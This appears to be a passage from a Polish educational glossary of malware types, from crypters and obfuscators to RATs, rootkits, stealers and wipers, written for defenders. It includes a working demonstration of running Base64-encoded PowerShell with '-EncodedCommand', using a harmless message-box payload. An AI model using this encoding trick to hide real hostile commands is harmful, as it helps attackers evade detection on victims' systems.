Botnet bazujący na pliku/adresie URL może działać w taki sposób, że pod określoną domeną internetową zostawiony jest plik z poleceniami, który boty mogą pobrać. Po przetworzeniu poleceń z pliku wykonywana jest określona akcja.
Program szyfrujący złośliwy kod (ang. crypter)
Programy szyfrujące to narzędzia do unikania wykrycia złośliwego programu przez oprogramowanie antywirusowe. Na czarnych rynkach nieetycznych hakerów można znaleźć programy lub usługi, które próbują utrudnić życie analitykom złośliwego oprogramowania. Przeważnie są to łatwe w obsłudze programy okienkowe pozwalające przygotować malware nawet osobom mniej technicznym.
Program wspomagający omijanie rozwiązań defensywnych (ang. evader)
Podobne do programów szyfrujących, a nawet często połączone z nimi. Posiadają zaimplementowane różne funkcje mające omijać określone mechanizmy obronne systemu.
Program zaciemniający złośliwy kod (ang. obfuscator)
Zaciemnianie kodu (ang. obfuscation) to przekształcanie kodu programu w sposób, który powoduje utrudnioną analizę podczas procesu inżynierii wstecznej (ang. reverse engineering). W przypadku zwykłych programów tworzy dodatkową warstwę ochronną, nie powinna to być podstawowa metoda zabezpieczania. Istnieje też nieetyczne zastosowanie narzędzi typu obfuscator — ukrywanie złośliwego kodu.
Obfuscator'y mogą implementować wiele technik utrudniających inżynierię wsteczną m.in.:
- Zmiana nazw zmiennych i funkcji na losowe ciągi tekstowe,
- Ochrona wartości stałych poprzez operacje arytmetyczne i logiczne, zamiast wartości natychmiastowych,
- Umieszczanie zbędnego kodu (ang. junk code), a nawet takiego, który się nigdy nie wykonuje (ang. dead code),
- Zmiana przepływu sterowania na płaski (ang. flattened control flow),
- Podział kodu na bardzo małe fragmenty,
- Szyfrowanie kodu i danych różnymi algorytmami,
- Stosowanie wielopostaciowości (polimorfizm i metamorfizm) dającej w rezultacie tę samą funkcjonalność, ale uzyskiwaną innymi instrukcjami,
- Korzystanie z prostej wirtualizacji, czyli utworzenie maszyny wirtualnej, która jest dodatkową warstwą chroniącą przed analizą,
- Wykrywanie w pamięci narzędzi do analizy, aby zmienić ścieżkę wykonania aplikacji, gdy jest badana,
- ...i wiele innych.
Uruchomienie polecenia PowerShell zakodowanego algorytmem Base64
Narzędzie PowerShell posiada możliwość uruchomienia poleceń zakodowanych algorytmem Base64. Ciąg w postaci Base64 można uzyskać za pomocą kodu:
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("..."));
Niegroźny ładunek (ang. payload) może być następujący:
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes("Add-Type -AssemblyName System.Windows.Forms; [System.Windows.Forms.MessageBox]::Show('ethical.blue Magazine', 'ethical.blue', 'OK', 'Information');"));
Teraz polecenia zakodowane za pomocą Base64 to:
QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnAGUAdABoAGkAYwBhAGwALgBiAGwAdQBlACAATQBhAGcAYQB6AGkAbgBlACcALAAgACcAZQB0AGgAaQBjAGEAbAAuAGIAbAB1AGUAJwAsACAAJwBPAEsAJwAsACAAJwBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AJwApADsA
Uruchomienie przykładowego ładunku (ang. payload) jest możliwe za pomocą:
powershell.exe -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnAGUAdABoAGkAYwBhAGwALgBiAGwAdQBlACAATQBhAGcAYQB6AGkAbgBlACcALAAgACcAZQB0AGgAaQBjAGEAbAAuAGIAbAB1AGUAJwAsACAAJwBPAEsAJwAsACAAJwBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AJwApADsA
lub
powershell.exe -enc QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBNAGUAcwBzAGEAZwBlAEIAbwB4AF0AOgA6AFMAaABvAHcAKAAnAGUAdABoAGkAYwBhAGwALgBiAGwAdQBlACAATQBhAGcAYQB6AGkAbgBlACcALAAgACcAZQB0AGgAaQBjAGEAbAAuAGIAbAB1AGUAJwAsACAAJwBPAEsAJwAsACAAJwBJAG4AZgBvAHIAbQBhAHQAaQBvAG4AJwApADsA
Złośliwy kopacz kryptowalut (ang. miner)
Kryptowaluta to rodzaj wirtualnego pieniądza, który jest oparty o technologię łańcucha bloków (ang. blockchain). Transakcje są przechowywane w rozproszonej bazie danych, którą można sobie wyobrazić jako specjalną księgę, która jest zabezpieczona kryptograficznie przed nieuczciwymi zmianami.
Kopanie (ang. mining) oznacza dołączenie się do przetwarzania transakcji co oczywiście wymaga zasobów takich jak m.in. energia elektryczna. W przypadku dołączenia do sieci kopaczy możliwe jest otrzymanie nagrody za przetwarzanie transakcji w postaci pewnej ilości kryptowaluty. Stwarza to możliwość instalacji złośliwych implantów sprzętowych i programowych, których zadaniem jest wydobywanie kryptowaluty za pomocą nieswojej mocy obliczeniowej.
Złośliwe koparki kryptowalut mogą występować np. w formie skryptów na zainfekowanej witrynie internetowej, jako program na komputer czy urządzenie przenośne, a także jako niezależne urządzenie elektroniczne.
Program uzyskujący złośliwy kod z sieci (ang. downloader)
Trojan.Downloader pobiera dodatkowe moduły lub ładunki (ang. payload) z Internetu. Aplikacje te są często używane, gdy podmiot zagrażający (ang. threat actor) potrzebuje na przykład małego pliku wykonywalnego, a duże złośliwe moduły są później pobierane.
Program lub skrypt uruchamiający kolejny etap infekcji (ang. stager)
Infekcja docelowego systemu często nie jest pojedynczą akcją, a całym łańcuchem działań. Może się rozpocząć np. od otwarcia dokumentu, aby później w pamięci rozpakować i uruchomić stager, który to dopiero pobiera przez sieć i uruchamia właściwy ładunek (ang. payload).
Program wykorzystujący błąd programisty (ang. exploit)
Exploity to programy, które przełamują bezpieczeństwo systemu lub aplikacji wykorzystując błąd programisty. Istnieje wiele rodzajów błędów popełnianych przez programistów. Niektóre mogą dać dostęp do wykonania złośliwego kodu lub po prostu spowodować awarię podatnej aplikacji. Podmioty zagrażające (ang. threat actor) tworzą zestawy exploitów, aby celować w więcej rodzajów błędów w zabezpieczeniach. Dlatego tak ważne jest, aby instalować aktualizacje oprogramowania i systemu.
Exploity to potężne narzędzia ataku, które mają na celowniku systemy operacyjne, przeglądarki internetowe, czytniki dokumentów itp. Maszyny mogą zostać zainfekowane, na przykład otwierając złośliwy link w przeglądarce internetowej lub otwierając złośliwy dokument. Dotyczy to nie tylko plików wykonywalnych (*.exe).
Program kradnący dane z formularzy (ang. form grabber)
Metoda zwana przechwytywaniem formularzy służy do pobierania danych logowania i innych poufnych danych z formularzy online. Zbieranie danych poprzez wstrzykiwanie kodu pozwala na kradzież wartości formularzy przed ich zaszyfrowaniem (HTTPS) i wysłaniem na serwer internetowy.
Program rejestrujący wciskane klawisze (ang. keylogger)
Do szpiegowania wykorzystywane są programy zwane keyloggerami. Istnieją keyloggery programowe (programy) i keyloggery sprzętowe (urządzenia). Podstawową funkcjonalnością tych aplikacji jest rejestrowanie naciśnięć klawiszy i tworzenie raportów. W ten sposób atakujący może uzyskać prywatne rozmowy ofiary, hasła i wszystko, co jest napisane na klawiaturze komputera. Zaawansowane keyloggery robią zrzuty ekranu, nagrywają dźwięk, nagrywają kamerę internetową, monitorują schowek systemowy itp. A co z keyloggerami sprzętowymi? Keylogger sprzętowy może być zainstalowany jako adapter pomiędzy klawiaturą a komputerem lub nawet wbudowany w naszą klawiaturę.
Program wymuszający zapłatę w zamian za odzyskanie zaszyfrowanych danych (ang. ransomware)
Klasyczny program ransomware blokuje ważne pliki użytkownika i zmusza do zapłaty okupu. Gdy ransomware używa szyfrowania symetrycznego, do szyfrowania i odszyfrowywania używany jest ten sam klucz. Programy ransomware ewoluowały, aby używać szyfrowania asymetrycznego, w którym klucz publiczny służy do szyfrowania, a klucz prywatny do odszyfrowywania.
Program wymuszający zapłatę w zamian za nieujawnienie informacji wrażliwych (ang. doxware)
Scareware próbuje przestraszyć użytkownika. Doxware grozi użytkownikowi publikacją prywatnych danych, np. zdjęć czy dokumentów.
Program zdalnego dostępu typu RAT (ang. remote access trojan)
Narzędzia zwane trojanami zdalnego dostępu, w skrócie RAT (Remote Access Trojan), są swego rodzaju tylnymi drzwiami, ale potężnymi i zaawansowanymi.
Funkcjonalność typowych trojanów zdalnego dostępu:
- Zarządzanie plikami, procesami, edycja rejestru systemowego,
- Podgląd ekranu, zrzuty ekranu,
- Logowanie naciśniętych klawiszy (tzw. keylogger),
- Zdalny pulpit (np. VNC),
- Zdalne wykonywanie poleceń (wiersz polecenia),
- Prześlij i uruchom dowolny plik (prześlij i wykonaj),
- Odzyskiwanie haseł z popularnych programów,
- ... i inne zależne od pomysłów twórcy.
Program ukrywający złośliwy implant w systemie (ang. rootkit)
Narzędzia nazywane rootkit'ami to mechanizmy ukrywania złośliwego kodu. Programy te mogą ukrywać procesy, pliki, wpisy rejestru i inne obiekty w zainfekowanym systemie. Istnieją rootkity trybu użytkownika i trybu jądra. Bardziej niebezpieczne i trudniejsze do wykrycia są moduły trybu jądra. Zauważ, że architektura systemu operacyjnego Windows wykorzystuje poziomy uprawnień zwane pierścieniami. Typowe programy działają w pierścieniu 3 (tryb użytkownika). Sterowniki urządzeń działają w pierścieniu 0 (tryb jądra). Kod w trybie jądra jest bardziej uprzywilejowany. Fałszowanie wyniku funkcji systemowych w trybie jądra spowoduje, że wynik programu trybu użytkownika będzie fałszywy. Na przykład menedżer zadań nie pokaże wszystkich uruchomionych procesów.
Złośliwy kod w programie rozruchowym (ang. bootkit)
Uruchomienie złośliwego kodu zanim wystartuje system operacyjny jest bardzo niebezpieczne. Nie można wtedy ufać nawet wynikom prezentowanym przez narzędzia systemowe.
Oprogramowanie szpiegujące (ang. spyware)
Aplikacje spyware to rodzaj oprogramowania, które szpieguje użytkownika urządzenia. Programy te mogą zbierać informacje o odwiedzanych stronach internetowych, zbierać informacje o tym, czym interesuje się użytkownik, a nawet wykradać poufne dane, takie jak adresy e-mail, hasła czy dane bankowe.
Kod powłoki (ang. shellcode)
Kod powłoki (ang. shellcode) to przeważnie mały program w formie kodu maszynowego, który jest niezależny od miejsca w pamięci oraz self-contained.
Może wykonywać różne złośliwe działania za pomocą funkcji których adresy uzyskuje przeszukując pamięć procesu lub za pomocą wywołań systemowych (syscall).
Powłoka internetowa (ang. webshell)
Plik z kodem nazywany webshell ma przeważnie postać skryptu umieszczanego na serwerze internetowym po skutecznym przełamaniu zabezpieczeń. Posiada funkcjonalność pozwalającą na wysyłanie kolejnych plików, zmianę istniejących plików, usuwanie plików czy też wywoływanie funkcji systemowych.
Program kradnący informacje (ang. information stealer)
Żyjemy w cyfrowym świecie. Im bardziej wrażliwe dane, tym bardziej wartościowe dane. Programy zwane złodziejami informacji pobierają poufne dane z zainfekowanego komputera i przekazują je niebezpiecznym podmiotom. Mogą np. zrzucić zapamiętane hasła z przeglądarki internetowej i wysłać je do infrastruktury C&C za pośrednictwem różnych kanałów, takich jak e-mail, panel WWW, FTP itp.
Program pełniący rolę centrum dowodzenia (ang. command and control framework)
Programy typu C&C Framework to niebezpieczne narzędzia ułatwiające przeprowadzanie operacji ataku od generowania ładunków (ang. payload), przez wykonywane połączeń sieciowych z zainfekowanymi maszynami, aż po eksfiltrację cennych danych czy czynności destrukcyjne.
Niebezpieczna dekompresja (ang. zip bomb)
Nieodpowiednia implementacja dekompresji danych może narazić użytkowników m.in. na atak typu odmowa usługi (ang. denial of service). Stosowane jest w tym celu specjalnie spreparowane archiwum (ang. Zip of Death), które ma np. kilkadziesiąt kilobajtów, ale ze względu na swoją strukturę po rozpakowaniu niczym bakteria wyczerpuje zasoby systemowe powodując spowolnienie lub awarię.
Silnik polimorficzny (ang. polymorphic engine)
Ta sama funkcjonalność osiągnięta przez zastosowanie innych rozkazów nazywana jest wielopostaciowością. Jest to jedna z głównych cech wirusów komputerowych i ma na celu utrudnić utworzenie wzorców binarnych (sygnatur) przez zmianę swojego kodu.
Program wymazujący dane (ang. wiper)
Złośliwe programy typu wiper mają na celu usunięcie lub uszkodzenie danych i programów znajdujących się na zainfekowanym urządzeniu. Atak tego rodzaju może sparaliżować normalne funkcjonowanie organizacji i wymagać przywracania kopii zapasowych (ang. backup) wywołując chaos.
Generatory wirusów (ang. virus generator)
Programy tego typu mogą oferować budowanie niegroźnych programów typu żart komputerowy (ang. computer joke), ale też groźne polimorficzne i metamorficzne wirusy.
Generatory złośliwego oprogramowania (ang. malware builder)
Działają podobnie jak generatory wirusów, jednak mogą generować różne rodzaje złośliwych plików np. wiadomości wyłudzające dane, a nie tylko wirusy infekujące inne pliki.
Narzędzia hakerskie (ang. hack tool)
Tak, oprogramowanie antywirusowe może oznaczać narzędzia hakerskie jako złośliwe programy. Nawet jeśli uruchomienie narzędzia hakerskiego nie infekuje systemu lokalnego, program antywirusowy oznacza narzędzie hakerskie jako niebezpieczne. Narzędzia tego rodzaju są czasami nazywane riskware.
Przykłady:
- Programy czytające hasła,
- Generatory kluczy,
- Zmieniacze kluczy produktu,
- Cracki oprogramowania komercyjnego,
- ...i inne.
Programy kompresujące pliki wykonywalne (ang. packer)
Narzędzia służące do kompresji plików wykonywalnych mogą być wykrywane jako złośliwe, ponieważ są nadużywane do pakowania malware w celu ominięcia statycznych sygnatur. Należy pamiętać, że aplikacje tego rodzaju posiadają też etyczne zastosowanie (ochrona kodu, zmniejszenie rozmiaru pliku programu).
Wykaz literatury
- [1] https://learn.microsoft.com/en-us/windows/win32/debug/pe-format [dostęp: 2024-12-17]
- [2] https://manpages.debian.org/stretch/manpages/elf.5.en.html [dostęp: 2024-12-17]
- [3] https://attack.mitre.org/techniques/T1195/ [dostęp: 2024-12-17]
- [4] https://attack.mitre.org/tactics/TA0003/ [dostęp: 2024-12-17]
- [5] https://cwe.mitre.org/data/definitions/510.html [dostęp: 2024-12-17]